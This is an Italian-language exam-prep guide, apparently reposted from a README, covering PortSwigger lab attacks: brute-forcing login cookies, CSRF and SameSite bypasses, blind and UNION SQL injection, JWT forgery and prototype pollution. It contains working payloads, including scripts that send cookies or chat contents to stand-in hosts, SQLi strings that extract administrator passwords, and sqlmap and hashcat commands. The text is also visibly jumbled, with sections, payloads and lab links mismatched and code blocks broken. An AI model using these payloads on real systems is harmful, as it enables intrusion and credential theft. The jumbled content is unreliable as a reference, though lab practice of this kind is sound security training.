[PortSwigger Lab: Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## Brute Force  

[Stay-Logged-in](#stay-logged-in)  
[Stay-logged-in Offline Crack](#stay-logged-in-offline-crack)  
[Brute Force Protected Login](#brute-force-protected-login)  
[Subtly Invalid Login](#subtly-invalid-login)  

### Stay-Logged-in  

>L'opzione di accesso con una casella di controllo stay-logged-in genera un valore di cookie contenente la password dell'utente autenticato ed è vulnerabile al brute forcing.  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>Di seguito i passaggi per l'exploit, insieme alle regole di elaborazione dei payload di Intruder in ordine, inclusa l'opzione GREP, prima di avviare l'attacco.  
  
1. Esegui il logout come utente corrente.  
2. Invia la richiesta GET /my-account più recente a Burp Intruder.  
3. Seleziona il cookie: ```stay-logged-in``` come posizione di iniezione.  
4. Hash: ```MD5```  
5. Aggiungi il prefisso: ```carlos:```  
6. Codifica: ```Base64-encode```  
7. Aggiungi **GREP** nella scheda impostazioni per verificare nella risposta la stringa ```Update email``` che indica un accesso riuscito.  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[PortSwigger Lab: Brute-forcing a stay-logged-in cookie](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### Stay-logged-in Offline Crack  
  
>La funzione dei commenti dell'applicazione blog è vulnerabile a [stored XSS](#stored-xss); usa il payload seguente nel commento del blog per inviare il cookie di sessione di Carlos al server di exploit.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>Ripeti l'attacco Intruder **Pitchfork** di cui sopra sul campo password, quindi ***identifica*** la password valida dalla colonna di stato con un risultato 302.  

[Laboratorio PortSwigger: enumerazione degli username tramite timing di risposta](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  
  
### Login Non Valido Subdolo  

>***Identifica*** che la pagina di login e il ripristino della password non sono protetti da attacchi di forza bruta e che non viene applicato alcun blocco IP o timeout per username o password non validi.  

>Suggerimento per l'esame BSCP: a volte c'è un altro utente con una password debole che può essere forzata tramite brute force. Carlos non è sempre l'account da prendere di mira per ottenere un accesso iniziale nella fase 1.  

![Subtly invalid login](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>Nota che nella colonna dell'attacco Intruder per il valore GREP, ```Invalid username or password.```, il messaggio di risposta per un attacco con username non valido non contiene il punto fermo alla fine. Ripeti l'attacco con questo username ***identificato***, ed esegui un attacco **Sniper** sul campo password per ***identificare*** la risposta ```302``` per il login valido.  

![Refresh Password](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>Nell'esame BSCP ***cerca*** altri messaggi restituiti che siano diversi e rivelino account validi nell'applicazione, consentendo l'***identificazione*** tramite forza bruta delle password degli account, come nell'esempio della funzione [refresh password reset](#refresh-password-broken-logic).  

>Una volta identificato un username valido da un messaggio di risposta diverso, esegui la [forza bruta](#brute-force) usando Burp Intruder sulla password.  

[Laboratorio PortSwigger: enumerazione degli username tramite risposte leggermente diverse](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>Un altro scenario per identificare un username valido sull'app WEB è fornire una lista di username al login e un unico valore di password non valido. Nei risultati dell'attacco Intruder, una risposta conterrà il messaggio `Incorrect password`.  
>Posizione di iniezione dell'attacco Intruder, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[Laboratorio PortSwigger: enumerazione degli username tramite risposte diverse](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  
  
-----

## Autenticazione  

[Registrazione Account](#account-registration)  
[Macro di bypass del token di autenticazione](#auth-token-bypass-macro)  
  
### Registrazione Account  

>Una falla nella logica di business della funzionalità di registrazione account consente di ottenere un accesso iniziale con il ruolo dell'utente target. [Content Discovery](#content-discovery) trova il percorso ```/admin```; il messaggio indica che l'interfaccia Admin è disponibile solo se si accede come utente **DontWannaCry**.  

![Register length flaw](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>La creazione di un'email con più di 200 caratteri prima del simbolo ```@``` viene poi troncata a 255 caratteri. Questo ***identifica*** la vulnerabilità nella **falla** logica della pagina di registrazione account. Nell'email sottostante, la ```m``` alla fine di ```@dontwannacry.com``` è esattamente il carattere 255.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

[Lab PortSwigger: collegamento forzato del profilo OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  
  
### CSRF nella validazione del Referer  

>***Individua*** che la funzione di modifica email è vulnerabile a CSRF osservando che quando il valore dell'header **Referer** viene modificato, la risposta restituisce il messaggio `Invalid referer header`, e la modifica dell'email viene accettata quando il valore del referrer contiene il dominio target atteso da qualche parte nel valore.  

![identifica il controllo dell'header referer per CSRF](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>Aggiungendo il dominio originale del target e aggiungendo `history.pushState('', '', '/?TARGET.net');` all'header **Referer** sotto forma di query string, si consente alla modifica dell'email di andare a buon fine.```html
Referrer-Policy: unsafe-url

>Genera il POC CSRF, abilita l'opzione per includere uno script **auto-submit** e fai clic su **Rigenera**. Rimuovi il blocco di codice dello script **auto-submit** e aggiungi quanto segue al suo posto, e posiziona il codice dello script ```history.pushState``` sotto l'intestazione del body. L'**onerror** del tag IMG SRC invierà invece il POC CSRF.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

![CSRF privesc](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  
  
### CSRF senza difese  

>Il target senza difese contro la funzione di cambio email può consentire l'escalation dei privilegi al ruolo di amministratore. Nell'esame, cambiare l'email con l'indirizzo `[email protected]` sul server exploit può consentire all'attaccante di cambiare la password dell'utente amministratore, con conseguente escalation dei privilegi.  
>Nell'esame c'è solo ***un*** utente attivo, e se la fase precedente è stata completata usando un attacco che non richiedesse all'utente attivo di cliccare su un link, effettuando cache poisoning o un attacco di phishing tramite la funzione `Deliver to Victim`, allora è possibile utilizzare l'exploit di modifica tramite CSRF.  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[PortSwigger Lab: vulnerabilità CSRF senza difese](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### Bypass di SameSite Strict  

>Nella funzione chat live, notiamo che la richiesta `GET /chat HTTP/2` non utilizza token imprevedibili; questo può ***identificare*** una possibile vulnerabilità di [cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) se è possibile bypassare la restrizione dei cookie [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).  

>Ospita sul server exploit il payload POC per ***identificare*** la vulnerabilità CSWSH.```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>Bypassare le restrizioni SameSite, codificando tramite URL l'intero script qui sotto e usandolo come input per il sottodominio CDN al login con nome utente `cms-`, ospitato sul server di exploit.```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>La cronologia della chat contiene la password della vittima.

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### Bypass di SameSite Lax  

>Osserva che se visiti `/social-login`, questo avvia automaticamente l'intero flusso OAuth. Se hai ancora una sessione attiva con il server OAuth, tutto ciò avviene senza alcuna interazione., e nella cronologia del proxy, nota che ogni volta che completi il flusso OAuth, il sito target imposta un nuovo cookie di sessione anche se eri già autenticato.  

>Per bypassare il blocco dei popup e indurre la vittima a cliccare sulla pagina, il popup si apre solo dopo che la vittima ha cliccato, con il seguente JavaScript. Il codice JavaScript dell'exploit prima aggiorna la sessione della vittima forzando il suo browser a visitare `/social-login`, poi invia la richiesta di modifica dell'email dopo una breve pausa. Consegna l'exploit alla vittima.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

>[Codificato in URL](https://www.urlencoder.org/) `PostgreSQL` payload.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>Utilizzando l'attacco CLUSTER Bomb per rieseguire l'attacco per ogni permutazione delle posizioni dei caratteri nella password e determinare il valore del carattere.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

![esame pratico stage-2 time delay sqli](https://assets.kitploit.com/production/public/readmes/51008/591c6c93d17a4fad71c84924b82f6b102cdcb7403345fc89a25393801b5f4fcb/3de53e0a110faccc64ec3df7bb827afceaec12b28fb13de0e6e942ebdda4cbc8-display-v1.webp)  

>Con un attacco Intruder CLUSTER bomb la password può essere estratta in un unico attacco con due posizioni di payload nel payload qui sotto.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

![Iniezione SQL cieca con esfiltrazione dati out-of-band](https://assets.kitploit.com/production/public/readmes/51008/77ecbd2fb851d947a64ea7f80ed8d2edfae3c11ce5990b5dab193d0089ede73f/34f35502299c43e70be75fe5ad7a9ca416d47c6d5aa53ca52945e7ad54fd72e3-display-v1.webp)  
  
[PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)  
  
>Il payload SQL qui sopra può essere utilizzato anche per estrarre la password dell'amministratore per la sfida di questo [PortSwigger Lab: Blind SQL injection with conditional errors](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors).  

### Blind SQLi senza indicazioni  

>Inserire un apice singolo alla fine del cookie ```trackingid``` o del parametro di ricerca `/search_advanced?searchTerm='` può restituire una risposta `500 Internal Server Error`. Fai un'ipotesi ragionata: utilizzando il payload blind SQLi qui sotto e combinandolo con la tecnica XXE di base, si effettua una chiamata al server di collaborazione ma non viene esfiltrato alcun dato.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

[OAST - Test di sicurezza delle applicazioni out-of-band](https://portswigger.net/burp/application-security-testing/oast)  

[Laboratorio PortSwigger: Blind SQL injection con interazione out-of-band](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)  
  
### Risposta condizionale Blind SQLi

>Questa blind SQL injection viene ***identificata*** da una piccola differenza di messaggio nelle risposte. Quando si invia una query SQL vera e valida, la risposta contiene la stringa ```Welcome back```. Una query SQL falsa o non valida non contiene il messaggio condizionale nella risposta.```
' AND '1'='1

>Determina quanti caratteri ci sono nella password dell'utente amministratore. Per fare ciò, modifica il valore dell'istruzione SQL in and e, nella scheda **Impostazioni** di intruder, nella sezione "Grep - Match", cancella le voci esistenti nell'elenco e poi aggiungi il valore ```Welcome back``` per ***identificare*** la condizione vera.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

![sqli conditional response](https://assets.kitploit.com/production/public/readmes/51008/2fa952e19084d8cf044ee00c0af0758f5a2525b6e3eb130e782d5e6e477ab7fa/775c0bc6baba6015d2d25f55994918b7720989ba2c1dad81e807ad893028bc91-display-v1.webp)  

>In alternativa, utilizza un attacco **CLUSTER Bomb** impostando **due** posizioni di payload: la prima per la posizione del carattere con un payload di numeri ```1..20``` e la seconda posizione, utilizzando caratteri alfabetici e numerici; questo itererà attraverso ogni permutazione delle combinazioni di payload.  

![CLUSTER bomb](https://assets.kitploit.com/production/public/readmes/51008/2612fb60c5db8b49266cf925197eb38930d733d225b304e8803298c38bec168e/61ae6550d59a539ec054efdaad8ed27be2f83c3501b78e0072699009e1b66f03-display-v1.webp)  

[Laboratorio PortSwigger: Iniezione SQL cieca con risposte condizionali](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)  
  
### Oracle  

>Identificata l'iniezione SQL aggiungendo una **virgoletta singola** alla fine del valore del parametro `category` e osservando la risposta `500 Internal Server Error`.  
  
>Recupera l'elenco delle tabelle nel database Oracle:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--

>Payload Oracle per recuperare gli username e le password dalla tabella Users_XXX.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

![SQLMAP utilizzato per scaricare dati dalle tabelle](https://assets.kitploit.com/production/public/readmes/51008/e91562db7de520c05b332d6ea72d4fd6ce995a1a990df232da525c2f43cadf7f/74ef860e904c08dc72a71d2fc729d39c847fce7675ee88d18347351f729240e5-display-v1.webp)  

>Questo è anche un buon punto di partenza con SQLMAP per ***identificare*** ed estrarre dati da una SQL injection sensibile basata su errore e ritardo temporale nei filtri di ricerca avanzata dell'esame.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

>Utilizza SQLMAP per eseguire il dump delle tabelle identificate dal database `public`.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

### Non-Oracle SQLi manuale  

>Attacco SQL injection UNION, determinando il **numero di colonne** restituite dalla query.```SQL
'+UNION+SELECT+NULL,NULL--

>Successivamente ***identificando*** un elenco di **tabelle** nel database.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

>Recupera i nomi delle **colonne** nella tabella ***users***.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

>**EXTRA:** Se hai solo una colonna da cui estrarre dati testuali, concatena più valori in un singolo campo di output riflesso usando i caratteri di sintassi SQL ```||``` del database.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

>A causa del limite di lunghezza del valore del cookie, il payload viene accorciato utilizzando `limit 1` e il valore effettivo del cookie viene sostituito con una semplice lettera `x`. La SQL injection utilizza la [funzione CAST](https://portswigger.net/web-security/sql-injection/blind).  

![Funzione CAST di SQL injection](https://assets.kitploit.com/production/public/readmes/51008/8cbe3158f15d53a4fd4b4871f9ac4d84b3afe63769c73e89305d9df5690b6b81/67b43c731a975eaa82e1bb9bee41c17f69d0d82d9b61a9f34ca38680adb38969-display-v1.webp)  

[Lab PortSwigger: SQL injection basata su errori visibili](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)  

-----

## JWT  

[Bypass JWT tramite JWK](#manual-sqli)  
[Segreto debole JWT](#jwt-weak-secret)  
[Header kid di JWT](#jwt-kid-header)  
[Header jku arbitrario di JWT](#jwt-arbitrary-jku-header)  


>I JSON web token (JWT) vengono utilizzati per inviare dati JSON firmati crittograficamente e sono più comunemente usati per inviare informazioni ("claims") sugli utenti come parte dell'autenticazione, della gestione delle sessioni e del controllo degli accessi.  

### Bypass JWT tramite JWK  

>Lo scanner Burp ***identifica*** la vulnerabilità nel server come **supporto dell'header JWK autofirmato per JWT**. È possibile sfruttarla attraverso un controllo non riuscito dell'origine della chiave fornita.  
>**jwk (JSON Web Key)** - Fornisce un oggetto JSON incorporato che rappresenta la chiave.  

>Passaggi di sfruttamento del bypass dell'autenticazione tramite iniezione dell'header jwk:  

1. Nuova chiave RSA  
2. Nella richiesta del payload JWT, cambia il valore del **sub claim** in administrator  
3. Seleziona Attack, quindi seleziona **Embedded JWK** con la chiave RSA appena generata  
4. Osserva che un parametro ```jwk``` ora contiene la nostra chiave pubblica; l'invio della richiesta comporta l'accesso al portale admin  
  
![header jwk](https://assets.kitploit.com/production/public/readmes/51008/ce35d027fc88ad31fd8b852c8ad1913fd2f5bd8b08923304b385f7023aa0ccb2/3b8f9b446cebdaefc49adb6838972ef19bdd5a66dac508eb888a5ba5305292e4-display-v1.webp)  

[Lab PortSwigger: bypass dell'autenticazione JWT tramite iniezione dell'header jwk](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)  

### Segreto debole JWT  

>Forza bruta della chiave di firma JWT debole utilizzando `hashcat`.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 

>Payload```
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

![jwt-jku-header-exploit-server.png](https://assets.kitploit.com/production/public/readmes/51008/9a204d1ac713ebb90c2a2ea1d3d0262157863148f44b10dfe3fb57d32e84e476/2cb0be1ecadaf45760b6c769e2060fb2dce33895d631682e9f61e356700446c6-display-v1.webp)  

[PortSwigger Lab: bypass dell'autenticazione JWT tramite iniezione dell'header jku](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)  
  
-----

## ProtoType Pollution  

>L'attaccante aggiunge proprietà arbitrarie ai prototipi degli oggetti JavaScript globali, che vengono ereditate dagli oggetti definiti dall'utente e portano a XSS DOM lato client o all'esecuzione di codice lato server.  

[Client-Side Proto](#client-side-proto)  
[Server-Side Proto](#server-side-proto)  
[Dom Invader: Abilitare Prototype Pollution](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution)  
  
### Client-Side Proto  

>Un target è vulnerabile a XSS DOM tramite la prototype pollution lato client. **[DOM Invader](#dom-invader)** ***identificherà*** il gadget e, utilizzando un payload ospitato, eseguirà phishing rivolto alla vittima e ruberà il suo cookie.  

>Nella sezione Body del server di exploit, ospita un exploit che reindirizzi la vittima a un URL dannoso.```html
<script>
    location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>  

![identifica __proto__](https://assets.kitploit.com/production/public/readmes/51008/c112512ded8e858f47752489625221d1bf364e687dbee58c550422904cae97e2/26cdbc7bf19f5fed4b3051d5294f8b20e0f5bee781e2b6a954fa2280ca5063d8-display-v1.webp)  
  
>Osserva la proprietà ```isAdmin``` e reinvia la richiesta POST di aggiornamento account con il payload ```__proto__``` qui sotto per elevare il nostro ruolo di accesso ad Amministratore.```JSON
"__proto__": {
    "isAdmin":true
}